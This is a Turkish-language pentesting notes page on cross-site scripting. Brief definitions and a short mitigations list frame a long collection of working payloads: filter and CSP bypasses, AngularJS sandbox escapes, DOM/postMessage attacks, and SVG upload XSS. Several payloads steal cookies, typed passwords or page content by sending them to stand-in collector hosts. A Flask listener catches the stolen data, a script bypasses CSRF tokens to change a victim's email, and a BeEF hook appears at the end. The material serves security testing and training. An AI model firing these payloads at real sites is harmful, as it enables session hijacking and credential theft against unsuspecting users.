🖥️
Siber Güvenlik Notları
  • WHOAMI
    • 👨‍💻Who Am I?
  • 🔭Information Gathering
    • Pentest VM Setup
    • Passive Information Gathering
    • Subdomain Enumeration
    • Host Discovery
    • Port Scanning
    • Email Enumeration
    • Leaked Passwords
    • Zafiyet Araştırma
  • 🪟Windows Pentesting
    • Windows Privilege Escalation
    • Windows Persistence
    • Windows Lateral Movement
    • AV Evasion
  • 🐧Linux Pentesting
    • Linux Privilege Escalation
    • Linux Persistence
    • Linux Lateral Movement
  • 🕸️Web Application Pentesting
    • Web Pentest Checklist
    • SQL Injection
    • NoSQL Injection
    • OS Command Injection
    • XXE Injection
    • SSTI
    • XSS
    • CSRF
    • SSRF
    • LFI/RFI
    • Insecure Deserialization
    • CORS Misconfiguration
    • Directory Traversal
    • File Upload
    • Broken Authentication
    • Broken Access Control
    • Business Logic
    • Race Conditions
    • Web Cache Deception
    • AWS Testing
    • Web Cache Poisoning
    • Clickjacking
    • API Testing
    • Broken Link Hijacking
    • HTTP Request Smuggling
    • LLM
    • HTTP Host Header Attack
    • OAuth Zafiyetleri
    • GraphQL API
    • HTTP Parameter Pollution
    • Configuration and Deployment Management Testing
    • Information Disclosure
    • Prototype pollution
    • JWT
  • 🖲️Network Service Pentesting
    • 📘Active Directory Services
      • Bleeding Edge Vulns
      • Misconfigs
      • Domain Trust
      • DNS (53)
      • Kerberos (88)
      • LDAP (389,636)
      • RPC WMI (135)
      • SMB (445)
      • WinRM - 5985
    • 📂FTP - 21
    • 🔐SSH - 22
    • 🤣Telnet - 23
    • SMTP - 25
    • TFTP - 69 UDP
    • HTTP - 80,443
      • Apache
      • Joomla
      • Drupal
      • Wordpress
      • WEBDAV
      • PHP
      • Laravel
    • IMAP/POP3 - 110,143,993,995
    • SNMP - 161
    • Rservices - 512
    • IPMI - 623
    • Rsync - 873
    • MSSQL - 1433
    • Oracle TNS - 1521
    • NFS - 2049
    • Docker
    • Grafana - 3000
    • MySQL - 3306
    • RDP - 3389
    • Postgresql - 5432
    • Redis - 6379
    • JDWP - 8000
    • MongoDB - 27017
  • 🕸️Network Pentesting
    • ARP Poisoning
  • 📞Android Pentesting
    • Android Derleme Süreci
    • Reversing
    • Rooting
    • Burp Suite Sertifikası
    • SSL Pinning Bypass
    • Patching
    • MobSF Kurulumu
    • Flutter Pentesting
  • 📰Teori
    • Güvenlik Ürünleri
    • OSI
    • Security Principles
  • Diger
    • Hacking Gadgets
      • Wifi Pineapple
      • Pwnagotchi
    • Stego
    • Buffer Overflow
    • Phishing
    • Nessus
    • DDOS Attacks
    • MSFConsole
  • ⏪Reverse
    • GCC Reverse
    • Python Reverse
    • Flare VM
    • Remnux
  • 🛜Wireless Pentesting
    • Wireless Pentest
    • Wireless V2
Powered by GitBook
On this page
  • XSS Nedir?
  • XSS Türleri
  • Yöntemler
  • Special Karakterleri Denemek
  • Nothing Encoded
  • Tag Escape XSS
  • Attribute Escape XSS
  • HREF Attribute XSS
  • Javascript String içinde XSS
  • Jquery Selector
  • AngularJS Ng-App XSS
  • Escape Json XSS
  • Javascript Replace Function XSS
  • Body Tag XSS
  • Custom Tag XSS
  • SVG Tag XSS
  • Canonical Link XSS
  • Backtick String içinde XSS
  • AngularJS Sandbox Bypass
  • CSP Bypass
  • AngularJS Sandbox ve CSP Bypass
  • HREF ve Event Handler olmadan XSS
  • HTTP Paramater Pollution ile XSS
  • Blocked Character XSS
  • Header ile CSP Bypass
  • Markup Attack ile CSP Bypass
  • Steal Cookie XSS
  • Steal Cookie with Js File
  • Steal Credential XSS
  • Steal Page Content
  • XSS Listener
  • XSS ile CSRF Token Bypass
  • DOM XSS Web Message
  • DOM XSS HREF Web Message
  • DOM XSS JSON Parse
  • DOM XSS Cookie Manipülasyonu
  • HTML Janitor DOM XSS
  • SVG XSS (File Upload)
  • Önlemler
  • Araçlar
  • BEEF-XSS
  • XSS Hunter
  • Kaynaklar

Was this helpful?

  1. Web Application Pentesting

XSS

PreviousSSTINextCSRF

Last updated 18 days ago

Was this helpful?

XSS Nedir?

  • Cross-site scripting (XSS olarak da bilinir), bir saldırganın kullanıcıların savunmasız bir uygulama ile olan etkileşimlerini tehlikeye atmasına olanak tanıyan bir web güvenlik açığıdır.

  • Bir saldırganın, farklı web sitelerini birbirinden ayırmak için tasarlanmış olan "Same Origin" politikasını atlatmasına olanak tanır.

  • Cross-site scripting güvenlik açıkları normalde bir saldırganın kurban kullanıcı gibi davranmasına, kullanıcının gerçekleştirebildiği tüm eylemleri gerçekleştirmesine ve kullanıcının verilerine erişmesine olanak tanır. Kurban kullanıcının uygulama içinde ayrıcalıklı erişimi varsa, saldırgan uygulamanın tüm işlevleri ve verileri üzerinde tam kontrol sahibi olabilir.

XSS Türleri

  • Stored XSS: Saldırganın zararlı kodu web uygulamasının veritabanına kaydedip saklaması ve bu kodun daha sonra kullanıcıya sunulmasıyla gerçekleşir. En kritik xss türüdür.

  • Reflected XSS: Saldırganın kullanıcıya özel bir link veya form aracılığıyla zararlı bir URL veya istek göndermesiyle gerçekleşir. Sunucu, bu veriyi işler ve sonuçları doğrudan kullanıcıya geri gönderir. Yüksek seviye bir zafiyettir.

  • DOM Based XSS: Saldırganın web sayfasının JavaScript tarafında doğrudan manipülasyon yapmasını içerir. Bu, tarayıcıda JavaScript tarafından oluşturulan ve manipüle edilen sayfaları hedefler. Yüksek seviye bir zafiyettir.

  • Self XSS: Kullanıcının kendisi tarafından tetiklenmesi gereken xss türüdür. Düşük seviye bir zafiyettir.

Yöntemler

Special Karakterleri Denemek

Special karakterleri girdilerde deneyerek filtrelenmediyse bunu görebiliriz.

><
{}
;
&
'
"
\n
\r
\
\uXXXX

Nothing Encoded

<script>alert(1)</script>
<img src=x onerror=alert(1)>
<svg onload=alert(1)>

Tag Escape XSS

"><script>alert(1)</script>
</select><script>alert(1)</script>
</script><script>alert(1)</script>

Attribute Escape XSS

"onmouseover="alert(1)

HREF Attribute XSS

javascript:alert(1)

Javascript String içinde XSS

'-alert(1)-'
\'-alert(1)//
&apos;-alert(1)-&apos;

Jquery Selector

#<img src=x onerror=alert(1)>

AngularJS Ng-App XSS

{{$on.constructor('alert(1)')()}}

Escape Json XSS

\"-alert(1)}//

Javascript Replace Function XSS

<><img src=x onerror=alert(1)>

Body Tag XSS

"><body onresize=alert(1)>

Custom Tag XSS

<xss id=x onfocus=alert(1) tabindex=1>#x

SVG Tag XSS

"><svg><animatetransform onbegin=alert(1)>

Canonical Link XSS

'accesskey='x'onclick='alert(1)
// ALT + X

Backtick String içinde XSS

${alert(1)}

AngularJS Sandbox Bypass

toString().constructor.prototype.charAt%3d[].join;[1]|orderBy:toString().constructor.fromCharCode(120,61,97,108,101,114,116,40,49,41)=1

CSP Bypass

<script>alert(1)</script>&token=;script-src-elem 'unsafe-inline'

AngularJS Sandbox ve CSP Bypass

<input id=x ng-focus=$event.composedPath()|orderBy:'(z=alert)(document.cookie)'>#x

HREF ve Event Handler olmadan XSS

<svg><a><animate attributeName=href values=javascript:alert(1) /><text x=20 y=20>Click me</text></a>

HTTP Paramater Pollution ile XSS

Aynı parametreyi aynı anda birden fazla göndermeyi deneyin. Filtreler bypass edilebilir.

http://example/page.php?param=<script&param=>alert(1)</&param=script>

Blocked Character XSS

%27},x=x=%3E{throw/**/onerror=alert,1337},toString=x,window%2b%27%27,{x:%27

Header ile CSP Bypass

Eğer çerezleri değiştirmeye izin veren bir parametre varsa aşağıdaki payload'u kullanabiliriz. Bu şekilde response'da CSP çalıştıran header silinir.

<script>alert(1)</script>&token=;script-src-elem 'unsafe-inline'

Markup Attack ile CSP Bypass

<script>
location='https://example.com/my-account?email="></form><form class="login-form" name="evil-form" action="https://COLLABORATOR" method="GET"><button class="button" type="submit">Click me</button>';
</script>

Steal Cookie XSS

<script>fetch('http://COLLABORATOR', {method: 'POST',mode: 'no-cors',body:document.cookie});</script>

<script>fetch("http://192.168.1.1/?cookie="+document.cookie);</script>

Steal Cookie with Js File

<script src="http://192.168.1.2/script.js"></script> 

# script.js
new Image().src='http://10.10.15.122/index.php?c='+document.cookie

Steal Credential XSS

<input name=username id=username>
<input type=password name=password onchange="if(this.value.length)fetch('https://COLLABORATOR',{
method:'POST',
mode: 'no-cors',
body:username.value+':'+this.value
});">

Steal Page Content

<script>fetch("http://192.168.1.1/?data="+btoa(document.documentElement.innerHTML));</script>

<script>fetch('http://192.168.1.1', {method: 'POST', mode: 'no-cors', body:document.documentElement.innerHTML});</script>

<script>
setTimeout(function() {
    fetch('http://192.168.1.1', {
        method: 'POST',
        mode: 'no-cors',
        body: document.documentElement.innerHTML
    });
}, 5000);
</script>

XSS Listener

from flask import Flask, request

app = Flask(__name__)

@app.route('/', methods=['POST'])
def catch_request():
    data = request.get_data(as_text=True)
    print("Gelen veri:", data)
    return '', 200

if __name__ == '__main__':
    app.run(host='0.0.0.0', port=80)

XSS ile CSRF Token Bypass

<script>
var req = new XMLHttpRequest();
req.onload = handleResponse;
req.open('get','/my-account',true);
req.send();
function handleResponse() {
    var token = this.responseText.match(/name="csrf" value="(\w+)"/)[1];
    var changeReq = new XMLHttpRequest();
    changeReq.open('post', '/my-account/change-email', true);
    changeReq.send('csrf='+token+'&email=attacker@gmail.com')
};
</script>

DOM XSS Web Message

window.addEventListener('message', function(e))
<iframe src="https://example.com/" onload="this.contentWindow.postMessage('<img src=x onerror=alert(1)>','*')">

DOM XSS HREF Web Message

<iframe src="https://example.com/" onload="this.contentWindow.postMessage('javascript:alert(1)//http:','*')">

DOM XSS JSON Parse

<iframe src=https://example.com/ onload='this.contentW-++++++++++++++++++++++++++++indow.postMessage("{\"type\":\"load-channel\",\"url\":\"javascript:alert(1)\"}","*")'>

DOM XSS Cookie Manipülasyonu

Eğer xss çalıştırmak için bir cookie manipülasyonu yapmanız gerekiyorsa hedef ilk kez url'yi açtığında xss çalışmayacaktır. Aşağıdaki payload sayesinde hedefin url'yi iki kez ziyaret etmesini sağlıyoruz

<iframe src="https://example.com/product?productId=1&'><script>alert(1)</script>" onload="if(!window.x)this.src='https://example.com';window.x=1;">

HTML Janitor DOM XSS

Html-Janitor whitelist metodu ile xss engelleyen bir kütüphanedir. Bu kütüphane aşağıdaki payloadlar ile bypass edilebilir.

<form id=x tabindex=0 onfocus=alert(1)><input id=attributes>
<iframe src=https://example.com/post?postId=1 onload="setTimeout(()=>this.src=this.src+'#x',500)">

SVG XSS (File Upload)

<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">

<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
   <polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/>
   <script type="text/javascript">
      alert('xss');
   </script>
</svg>

Önlemler

  • Çıkışta kullanıcı verisini sayfaya yazmadan önce bağlama göre encode et.

  • Girişte gelen veriyi alırken mümkün olduğunca sıkı doğrulama yap.

  • HTML bağlamında tehlikeli karakterleri HTML entity’ye çevir.

  • JavaScript içinde kullanılacak verileri Unicode ile escape et.

  • Bazı durumlarda hem JavaScript hem HTML için çift katmanlı encoding gerekir.

  • Veri beklenen formatta değilse girişte engellenmeli, düzeltmeye çalışılmamalı.

  • Doğrulama yaparken kara liste yerine güvenli içerikler içeren beyaz liste kullanılmalı.

  • Güvenli HTML’e izin verilmesi gerekiyorsa DOMPurify gibi kütüphaneler tercih edilmeli.

  • Template motorları genelde otomatik kaçış sağlar, doğrudan string birleştirme yapılmamalı.

  • PHP’de htmlentities() fonksiyonu ile UTF-8 ve ENT_QUOTES kullanarak içerik encode edilmeli.

  • JavaScript’te HTML veya JavaScript stringleri için özel encode fonksiyonları yazılmalı.

  • jQuery selector içine doğrudan kullanıcı verisi koyulmamalı. CSP kullanılarak dış scriptlerin yüklenmesi ve inline scriptlerin çalışması engellenmeli. Nonce veya hash yöntemiyle sadece izinli scriptlerin çalışmasına izin verilmeli.

Araçlar

BEEF-XSS

XSS zafiyetini sömürememizi sağlar.

<script src="http://<IP>:3000/hook.js"></script>

XSS Hunter

Blind XSS zafiyetinin tespitini sağlar.

Kaynaklar

XSS Report:

XSS Hunter:

Portswigger Academy:

Owasp Guideline:

🕸️
https://xss.report/
https://xsshunter.trufflesecurity.com/
https://portswigger.net/web-security/cross-site-scripting
https://owasp.org/www-project-web-security-testing-guide/stable/4-Web_Application_Security_Testing/07-Input_Validation_Testing/01-Testing_for_Reflected_Cross_Site_Scripting